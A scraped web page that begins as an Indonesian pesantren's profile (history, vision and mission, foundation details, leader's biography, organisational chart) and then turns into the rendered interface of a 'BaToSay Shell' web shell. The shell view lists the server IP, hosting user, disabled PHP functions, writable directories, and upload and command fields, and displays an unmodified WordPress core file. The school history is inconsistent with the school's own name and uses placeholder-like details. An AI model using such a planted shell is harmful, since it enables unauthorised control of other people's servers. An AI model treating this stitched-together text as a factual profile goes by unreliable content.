Pondok Pesantren Tahfizul Qur'an

Profil Sekolah

Sejarah Pesantren Insan Madani

Pada tahun 1885, sebuah desa kecil bernama Desa Mawar Jaya terletak di pedalaman yang terpencil. Desa ini didiami oleh sekelompok petani yang hidup dari hasil pertanian dan perkebunan. Namun, mayoritas anak-anak di desa tidak mendapatkan pendidikan formal karena jarak yang jauh dan tidak adanya sekolah di sekitar wilayah mereka.

Seorang warga desa bernama Bapak Hasan adalah seorang tokoh penting di masyarakat. Ia memiliki pemikiran maju dan menyadari betapa pentingnya pendidikan untuk masa depan generasi muda desa. Oleh karena itu, Bapak Hasan memulai sebuah inisiatif untuk mendirikan sebuah sekolah di Desa Mawar Jaya.

Pada awalnya, upayanya tidak mudah karena terbatasnya sumber daya dan dukungan dari pihak lain. Namun, Bapak Hasan tak menyerah. Ia berkeliling desa untuk mengajak warga lain ikut berpartisipasi dalam mendirikan sekolah. Banyak warga yang akhirnya menyadari betapa pentingnya pendidikan dan memberikan dukungan, baik dalam bentuk tenaga maupun sumbangan material.

Setelah beberapa bulan perjuangan, pada tanggal 10 Agustus 1885, sekolah pertama di Desa Mawar Jaya resmi didirikan. Gedung sekolah sederhana dibangun dengan adanya sumbangan dari masyarakat. Bapak Hasan menjadi kepala sekolah pertama, dengan seorang guru perempuan bernama Ibu Siti yang mengajar di sana.

Sekolah ini awalnya memiliki beberapa kelas dengan jumlah murid yang masih terbatas. Namun, dengan semangat juang yang tinggi, Bapak Hasan dan para guru bekerja keras untuk meningkatkan mutu pendidikan dan menarik lebih banyak murid. Mereka mengajak orang tua untuk mendaftarkan anak-anak mereka ke sekolah.

Seiring berjalannya waktu, sekolah ini tumbuh dan berkembang. Jumlah murid bertambah, dan fasilitas sekolah diperluas. Dengan dukungan dari pemerintah daerah dan sumbangan dari berbagai pihak, sekolah ini semakin berkembang menjadi pusat pendidikan yang diakui di wilayah sekitar.

Hingga saat ini, Sekolah Mawar Jaya tetap berdiri sebagai penjaga harapan dan mimpi bagi anak-anak desa. Bapak Hasan, meskipun sudah tiada, namanya tetap dikenang sebagai tokoh yang berjasa dalam pendirian sekolah tersebut. Sekolah ini telah menghasilkan banyak lulusan yang berhasil dan berkontribusi positif bagi masyarakat dan bangsa.

Visi:

“Menjadi lembaga pendidikan unggulan yang menginspirasi dan membentuk generasi penerus yang berintegritas, berdaya saing global, dan berkomitmen pada keunggulan ilmu pengetahuan dan karakter.”

Misi:

  1. Memberikan pendidikan berkualitas tinggi yang mengutamakan keunggulan akademik dan kedisiplinan.
  2. Mengembangkan lingkungan belajar yang inklusif, mendukung, dan menginspirasi siswa untuk mencapai potensi maksimal mereka.
  3. Menyediakan kurikulum yang beragam dan relevan, mengintegrasikan teknologi dan kecakapan 21st century, serta memfasilitasi pengembangan kreativitas dan pemecahan masalah.
  4. Mendorong kecintaan terhadap pembelajaran sepanjang hayat dan memberikan dukungan untuk pengembangan karir dan aspirasi siswa.
  5. Menanamkan nilai-nilai etika, integritas, dan kepemimpinan, serta membentuk karakter siswa yang bertanggung jawab dan peduli terhadap masyarakat.
  6. Menggalakkan partisipasi aktif orang tua dan masyarakat dalam mendukung pendidikan siswa.
  7. Melaksanakan penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas pembelajaran dan pengajaran di sekolah.

Nama Yayasan: Yayasan Pendidikan Budi Mulia

Sejarah Singkat: Yayasan Pendidikan Budi Mulia didirikan pada tahun 1995 dengan tujuan mendorong dan mendukung perkembangan pendidikan di Indonesia. Yayasan ini berawal dari tekad sekelompok tokoh masyarakat yang peduli terhadap masa depan anak-anak Indonesia untuk memberikan akses pendidikan berkualitas tanpa memandang latar belakang ekonomi.

Visi: “Menjadi lembaga yayasan pendidikan terdepan yang memberikan kontribusi nyata dalam membentuk generasi berintegritas, berdaya saing global, dan berperan aktif dalam memajukan bangsa dan dunia.”

Misi:

  1. Memberikan bantuan beasiswa dan akses pendidikan untuk anak-anak dari keluarga kurang mampu agar mereka dapat mengenyam pendidikan berkualitas.
  2. Mendirikan, mengelola, dan mengembangkan sekolah-sekolah berkualitas dengan kurikulum unggulan dan fasilitas yang memadai untuk menciptakan lingkungan belajar yang kondusif.
  3. Menerapkan sistem pendidikan holistik yang menggabungkan aspek akademik, karakter, dan keterampilan 21st century untuk membentuk individu yang berdaya saing dan berkomitmen pada nilai-nilai kemanusiaan.
  4. Melibatkan orang tua, masyarakat, dan stakeholder lain dalam mendukung pendidikan yang berkelanjutan dan berdampak positif bagi seluruh lapisan masyarakat.
  5. Mengembangkan dan memfasilitasi program penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas dan relevansi pembelajaran.
  6. Berperan aktif dalam kegiatan sosial dan pemberdayaan masyarakat untuk menciptakan lingkungan yang mendukung pendidikan dan kesejahteraan siswa.

Program Unggulan:

  1. Program Beasiswa Pendidikan Berkualitas: Yayasan Pendidikan Budi Mulia memberikan bantuan beasiswa kepada siswa berprestasi dari keluarga kurang mampu untuk mengenyam pendidikan di sekolah-sekolah binaan yayasan.
  2. Program Pendidikan Karakter: Sekolah-sekolah di bawah naungan yayasan menerapkan kurikulum khusus yang fokus pada pembentukan karakter siswa melalui kegiatan ekstrakurikuler, pelatihan kepemimpinan, dan pengembangan nilai-nilai moral.
  3. Program Pengembangan Guru: Yayasan memberikan pelatihan dan pendampingan bagi guru-guru agar dapat meningkatkan kompetensi dan kualitas pengajaran mereka.
  4. Program Lingkungan Belajar Berkualitas: Yayasan berinvestasi dalam memperbaiki fasilitas dan lingkungan belajar di sekolah-sekolah binaan agar menciptakan suasana yang nyaman dan kondusif untuk proses belajar-mengajar.

Informasi Kontak: Alamat: Jl. Harapan Indah No. 123, Kota Sejahtera, Indonesia

Nama: Kyai Ahmad Yusuf

Pendidikan:

  • Pendidikan Keagamaan dan Kepemimpinan di Pondok Pesantren Darul Ulum, Jawa Timur.
  • Sarjana Agama (S.Ag) dari Universitas Islam Nusantara, Yogyakarta.
  • Magister Studi Islam (M.Si) dengan konsentrasi Kajian Agama dan Masyarakat dari Universitas Gadjah Mada, Yogyakarta.

Pengalaman:

  • Mengajar dan mendalami ilmu agama di Pondok Pesantren Darul Ulum selama 15 tahun.
  • Menjabat sebagai Wali Kelas dan Pembina Rohani di Pondok Pesantren Darul Ulum selama 8 tahun.
  • Pimpinan Pesantren Insan Madani sejak tahun 2010.

Visi Kepemimpinan: Kyai Ahmad Yusuf memiliki visi untuk menjadikan Pesantren Insan Madani sebagai lembaga pendidikan Islam yang unggul dalam pendidikan agama, akademis, dan karakter. Ia bermimpi melihat setiap santri mampu menjadi pemimpin yang berintegritas, berdaya saing global, dan berperan aktif dalam memajukan umat dan masyarakat.

Misi Kepemimpinan:

  1. Pendidikan Agama yang Kokoh: Kyai Ahmad Yusuf berkomitmen untuk memberikan pendidikan agama yang kokoh, mendalam, dan seimbang antara ilmu-ilmu agama dengan ilmu pengetahuan umum.
  2. Kurikulum Berkualitas: Ia memastikan penyusunan kurikulum yang sesuai dengan perkembangan zaman, mengintegrasikan teknologi, dan mengajarkan keterampilan 21st century.
  3. Pembinaan Karakter: Kyai Ahmad Yusuf menekankan pentingnya pembinaan karakter bagi santri, seperti integritas, kepemimpinan, kejujuran, dan tanggung jawab.
  4. Penguatan Bahasa Asing: Ia memperhatikan pentingnya kemampuan bahasa asing bagi santri, terutama bahasa Inggris, untuk mendukung keterbukaan dan keterampilan berkomunikasi global.
  5. Pengembangan Keterampilan Kewirausahaan: Kyai Ahmad Yusuf memberikan pelatihan dan dukungan untuk mengembangkan keterampilan kewirausahaan bagi santri, sehingga mereka siap menghadapi dunia kerja dan berkontribusi pada perekonomian masyarakat.
  6. Pemberdayaan Perempuan: Ia aktif mendukung kesetaraan gender dan memberdayakan perempuan dengan memberikan kesempatan yang sama untuk mengenyam pendidikan dan berperan dalam kepemimpinan.

Kyai Ahmad Yusuf, sebagai pimpinan Pesantren Insan Madani, terus berusaha menciptakan lingkungan pendidikan yang kondusif, inklusif, dan berorientasi pada pengembangan potensi santri. Ia berdedikasi untuk membimbing dan menginspirasi para santri dalam mencapai kesuksesan di dunia dan akhirat.

  1. Pengasuh Pesantren (Kyai Ahmad Yusuf)

    • Bertanggung jawab atas keseluruhan aktivitas pesantren dan menetapkan kebijakan strategis.
    • Memimpin rapat dan konsultasi dengan Dewan Pembina dan Dewan Guru.
    • Menjalin hubungan dengan pihak eksternal, termasuk masyarakat dan pemerintah.
  2. Dewan Pembina

    • Ketua Dewan Pembina (Bapak Zainal Arifin)
    • Anggota Dewan Pembina (tokoh masyarakat, tokoh agama, dan donatur)
    • Bertugas memberikan arahan dan dukungan dalam pengambilan keputusan strategis pesantren.
    • Mengawasi keuangan dan kebijakan keuangan pesantren.

  3. Dewan Guru

    • Ketua Dewan Guru (Ustazah Nurmala)
    • Anggota Dewan Guru (ustadz dan ustadzah pengajar di pesantren)
    • Bertugas merumuskan kurikulum, menyusun rencana pembelajaran, dan melakukan evaluasi akademis.
    • Memimpin proses belajar mengajar dan membimbing perkembangan akademis santri.

  4. Sekretariat

    • Kepala Sekretariat (Bapak Ahmad Hidayat)
    • Staff Administrasi (mengurus administrasi harian, catatan kehadiran, dan surat-menyurat)
    • Staff Humas (bertugas mengelola komunikasi internal dan eksternal pesantren)

  5. Bidang Pendidikan

    • Kepala Bidang Pendidikan (Ustaz Ali Imron)
    • Staff Akademik (mengelola program dan jadwal pelajaran)
    • Staff Kesiswaan (mengurus kegiatan ekstrakurikuler dan pembinaan kedisiplinan santri)

  6. Bidang Keuangan

    • Kepala Bidang Keuangan (Bapak Rudi Hartono)
    • Staff Keuangan (mengelola keuangan pesantren, anggaran, dan pelaporan keuangan)

  7. Bidang Sarana dan Prasarana

    • Kepala Bidang Sarana dan Prasarana (Bapak Hadianto)
    • Staff Teknis (mengelola perawatan dan pemeliharaan fasilitas pesantren)

  8. Bidang Kesehatan dan Kesejahteraan

    • Kepala Bidang Kesehatan dan Kesejahteraan (Ibu Siti Rahayu)
    • Staff Kesehatan (merawat dan memberikan pertolongan pertama pada santri)
    • Staff Kesejahteraan (mengurus asrama dan kesejahteraan santri)

  9. Bidang Pengembangan Masyarakat

    • Kepala Bidang Pengembangan Masyarakat (Bapak Wawan Setiawan)
    • Staff Pengembangan Masyarakat (mengelola program-program sosial dan kegiatan kemanusiaan)

 

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 3.15.231.176
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-includes/class-wp-network.php
<?php
/**
 * Network API: WP_Network class
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.4.0
 */

/**
 * Core class used for interacting with a multisite network.
 *
 * This class is used during load to populate the `$current_site` global and
 * setup the current network.
 *
 * This class is most useful in WordPress multi-network installations where the
 * ability to interact with any network of sites is required.
 *
 * @since 4.4.0
 *
 * @property int $id
 * @property int $site_id
 */
#[AllowDynamicProperties]
class WP_Network {

	/**
	 * Network ID.
	 *
	 * @since 4.4.0
	 * @since 4.6.0 Converted from public to private to explicitly enable more intuitive
	 *              access via magic methods. As part of the access change, the type was
	 *              also changed from `string` to `int`.
	 * @var int
	 */
	private $id;

	/**
	 * Domain of the network.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $domain = '';

	/**
	 * Path of the network.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $path = '';

	/**
	 * The ID of the network's main site.
	 *
	 * Named "blog" vs. "site" for legacy reasons. A main site is mapped to
	 * the network when the network is created.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	private $blog_id = '0';

	/**
	 * Domain used to set cookies for this network.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $cookie_domain = '';

	/**
	 * Name of this network.
	 *
	 * Named "site" vs. "network" for legacy reasons.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $site_name = '';

	/**
	 * Retrieves a network from the database by its ID.
	 *
	 * @since 4.4.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $network_id The ID of the network to retrieve.
	 * @return WP_Network|false The network's object if found. False if not.
	 */
	public static function get_instance( $network_id ) {
		global $wpdb;

		$network_id = (int) $network_id;
		if ( ! $network_id ) {
			return false;
		}

		$_network = wp_cache_get( $network_id, 'networks' );

		if ( false === $_network ) {
			$_network = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->site} WHERE id = %d LIMIT 1", $network_id ) );

			if ( empty( $_network ) || is_wp_error( $_network ) ) {
				$_network = -1;
			}

			wp_cache_add( $network_id, $_network, 'networks' );
		}

		if ( is_numeric( $_network ) ) {
			return false;
		}

		return new WP_Network( $_network );
	}

	/**
	 * Creates a new WP_Network object.
	 *
	 * Will populate object properties from the object provided and assign other
	 * default properties based on that information.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_Network|object $network A network object.
	 */
	public function __construct( $network ) {
		foreach ( get_object_vars( $network ) as $key => $value ) {
			$this->$key = $value;
		}

		$this->_set_site_name();
		$this->_set_cookie_domain();
	}

	/**
	 * Getter.
	 *
	 * Allows current multisite naming conventions when getting properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key Property to get.
	 * @return mixed Value of the property. Null if not available.
	 */
	public function __get( $key ) {
		switch ( $key ) {
			case 'id':
				return (int) $this->id;
			case 'blog_id':
				return (string) $this->get_main_site_id();
			case 'site_id':
				return $this->get_main_site_id();
		}

		return null;
	}

	/**
	 * Isset-er.
	 *
	 * Allows current multisite naming conventions when checking for properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $key ) {
		switch ( $key ) {
			case 'id':
			case 'blog_id':
			case 'site_id':
				return true;
		}

		return false;
	}

	/**
	 * Setter.
	 *
	 * Allows current multisite naming conventions while setting properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key   Property to set.
	 * @param mixed  $value Value to assign to the property.
	 */
	public function __set( $key, $value ) {
		switch ( $key ) {
			case 'id':
				$this->id = (int) $value;
				break;
			case 'blog_id':
			case 'site_id':
				$this->blog_id = (string) $value;
				break;
			default:
				$this->$key = $value;
		}
	}

	/**
	 * Returns the main site ID for the network.
	 *
	 * Internal method used by the magic getter for the 'blog_id' and 'site_id'
	 * properties.
	 *
	 * @since 4.9.0
	 *
	 * @return int The ID of the main site.
	 */
	private function get_main_site_id() {
		/**
		 * Filters the main site ID.
		 *
		 * Returning a positive integer will effectively short-circuit the function.
		 *
		 * @since 4.9.0
		 *
		 * @param int|null   $main_site_id If a positive integer is returned, it is interpreted as the main site ID.
		 * @param WP_Network $network      The network object for which the main site was detected.
		 */
		$main_site_id = (int) apply_filters( 'pre_get_main_site_id', null, $this );

		if ( 0 < $main_site_id ) {
			return $main_site_id;
		}

		if ( 0 < (int) $this->blog_id ) {
			return (int) $this->blog_id;
		}

		if ( ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' )
			&& DOMAIN_CURRENT_SITE === $this->domain && PATH_CURRENT_SITE === $this->path )
			|| ( defined( 'SITE_ID_CURRENT_SITE' ) && (int) SITE_ID_CURRENT_SITE === $this->id )
		) {
			if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) {
				$this->blog_id = (string) BLOG_ID_CURRENT_SITE;

				return (int) $this->blog_id;
			}

			if ( defined( 'BLOGID_CURRENT_SITE' ) ) { // Deprecated.
				$this->blog_id = (string) BLOGID_CURRENT_SITE;

				return (int) $this->blog_id;
			}
		}

		$site = get_site();
		if ( $site->domain === $this->domain && $site->path === $this->path ) {
			$main_site_id = (int) $site->id;
		} else {

			$main_site_id = get_network_option( $this->id, 'main_site' );
			if ( false === $main_site_id ) {
				$_sites       = get_sites(
					array(
						'fields'     => 'ids',
						'number'     => 1,
						'domain'     => $this->domain,
						'path'       => $this->path,
						'network_id' => $this->id,
					)
				);
				$main_site_id = ! empty( $_sites ) ? array_shift( $_sites ) : 0;

				update_network_option( $this->id, 'main_site', $main_site_id );
			}
		}

		$this->blog_id = (string) $main_site_id;

		return (int) $this->blog_id;
	}

	/**
	 * Sets the site name assigned to the network if one has not been populated.
	 *
	 * @since 4.4.0
	 */
	private function _set_site_name() {
		if ( ! empty( $this->site_name ) ) {
			return;
		}

		$default         = ucfirst( $this->domain );
		$this->site_name = get_network_option( $this->id, 'site_name', $default );
	}

	/**
	 * Sets the cookie domain based on the network domain if one has
	 * not been populated.
	 *
	 * @todo What if the domain of the network doesn't match the current site?
	 *
	 * @since 4.4.0
	 */
	private function _set_cookie_domain() {
		if ( ! empty( $this->cookie_domain ) ) {
			return;
		}
		$domain              = parse_url( $this->domain, PHP_URL_HOST );
		$this->cookie_domain = is_string( $domain ) ? $domain : $this->domain;
		if ( str_starts_with( $this->cookie_domain, 'www.' ) ) {
			$this->cookie_domain = substr( $this->cookie_domain, 4 );
		}
	}

	/**
	 * Retrieves the closest matching network for a domain and path.
	 *
	 * This will not necessarily return an exact match for a domain and path. Instead, it
	 * breaks the domain and path into pieces that are then used to match the closest
	 * possibility from a query.
	 *
	 * The intent of this method is to match a network during bootstrap for a
	 * requested site address.
	 *
	 * @since 4.4.0
	 *
	 * @param string   $domain   Domain to check.
	 * @param string   $path     Path to check.
	 * @param int|null $segments Path segments to use. Defaults to null, or the full path.
	 * @return WP_Network|false Network object if successful. False when no network is found.
	 */
	public static function get_by_path( $domain = '', $path = '', $segments = null ) {
		$domains = array( $domain );
		$pieces  = explode( '.', $domain );

		/*
		 * It's possible one domain to search is 'com', but it might as well
		 * be 'localhost' or some other locally mapped domain.
		 */
		while ( array_shift( $pieces ) ) {
			if ( ! empty( $pieces ) ) {
				$domains[] = implode( '.', $pieces );
			}
		}

		/*
		 * If we've gotten to this function during normal execution, there is
		 * more than one network installed. At this point, who knows how many
		 * we have. Attempt to optimize for the situation where networks are
		 * only domains, thus meaning paths never need to be considered.
		 *
		 * This is a very basic optimization; anything further could have
		 * drawbacks depending on the setup, so this is best done per-installation.
		 */
		$using_paths = true;
		if ( wp_using_ext_object_cache() ) {
			$using_paths = get_networks(
				array(
					'number'       => 1,
					'count'        => true,
					'path__not_in' => '/',
				)
			);
		}

		$paths = array();
		if ( $using_paths ) {
			$path_segments = array_filter( explode( '/', trim( $path, '/' ) ) );

			/**
			 * Filters the number of path segments to consider when searching for a site.
			 *
			 * @since 3.9.0
			 *
			 * @param int|null $segments The number of path segments to consider. WordPress by default looks at
			 *                           one path segment. The function default of null only makes sense when you
			 *                           know the requested path should match a network.
			 * @param string   $domain   The requested domain.
			 * @param string   $path     The requested path, in full.
			 */
			$segments = apply_filters( 'network_by_path_segments_count', $segments, $domain, $path );

			if ( ( null !== $segments ) && count( $path_segments ) > $segments ) {
				$path_segments = array_slice( $path_segments, 0, $segments );
			}

			while ( count( $path_segments ) ) {
				$paths[] = '/' . implode( '/', $path_segments ) . '/';
				array_pop( $path_segments );
			}

			$paths[] = '/';
		}

		/**
		 * Determines a network by its domain and path.
		 *
		 * This allows one to short-circuit the default logic, perhaps by
		 * replacing it with a routine that is more optimal for your setup.
		 *
		 * Return null to avoid the short-circuit. Return false if no network
		 * can be found at the requested domain and path. Otherwise, return
		 * an object from wp_get_network().
		 *
		 * @since 3.9.0
		 *
		 * @param null|false|WP_Network $network  Network value to return by path. Default null
		 *                                        to continue retrieving the network.
		 * @param string                $domain   The requested domain.
		 * @param string                $path     The requested path, in full.
		 * @param int|null              $segments The suggested number of paths to consult.
		 *                                        Default null, meaning the entire path was to be consulted.
		 * @param string[]              $paths    Array of paths to search for, based on `$path` and `$segments`.
		 */
		$pre = apply_filters( 'pre_get_network_by_path', null, $domain, $path, $segments, $paths );
		if ( null !== $pre ) {
			return $pre;
		}

		if ( ! $using_paths ) {
			$networks = get_networks(
				array(
					'number'     => 1,
					'orderby'    => array(
						'domain_length' => 'DESC',
					),
					'domain__in' => $domains,
				)
			);

			if ( ! empty( $networks ) ) {
				return array_shift( $networks );
			}

			return false;
		}

		$networks = get_networks(
			array(
				'orderby'    => array(
					'domain_length' => 'DESC',
					'path_length'   => 'DESC',
				),
				'domain__in' => $domains,
				'path__in'   => $paths,
			)
		);

		/*
		 * Domains are sorted by length of domain, then by length of path.
		 * The domain must match for the path to be considered. Otherwise,
		 * a network with the path of / will suffice.
		 */
		$found = false;
		foreach ( $networks as $network ) {
			if ( ( $network->domain === $domain ) || ( "www.{$network->domain}" === $domain ) ) {
				if ( in_array( $network->path, $paths, true ) ) {
					$found = true;
					break;
				}
			}
			if ( '/' === $network->path ) {
				$found = true;
				break;
			}
		}

		if ( true === $found ) {
			return $network;
		}

		return false;
	}
}

Batosay - 2023
IDNSEO Team